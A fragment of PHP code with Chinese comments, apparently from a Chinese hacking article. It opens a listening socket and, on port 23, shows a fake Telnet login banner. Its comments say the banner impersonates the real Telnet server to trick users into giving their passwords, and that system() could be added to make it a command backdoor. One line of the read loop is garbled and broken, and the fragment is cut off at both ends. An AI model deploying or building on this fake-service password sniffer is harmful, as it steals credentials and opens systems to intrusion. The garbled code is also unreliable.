if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n";
} /*开始监听*/

while(true) {

if (($sniffer = socket_accept($sock)) < 0) {
echo "socket_accept() failed: reason: " . socket_strerror($sniffer) . "\n";
break;
}
if ($port == 23)
{
$txt = "Welcome to the Telnet Server\r\n";
$txt .="User:\r\n";
socket_write($sniffer, $txt, strlen($txt));
} /*这里是伪装信息，把自己伪装成原来的TELNET服务器，这样来骗取密码*/

while(true) {

if(($buf _read($sniffer">=@socket_read($sniffer, 2048, PHP_BINARY_READ)) ==false)
{

break;

}

if (!$buf = trim($buf)) {
continue;
}

if ($buf == '!quit') {
break;
}
if ($buf == '!shutdown') {
socket_close($sniffer);
break 2; /*其实这里可以调用system()，搞成一个CMD后门，反正你想怎么改都可以*/
}

(编辑:aniston)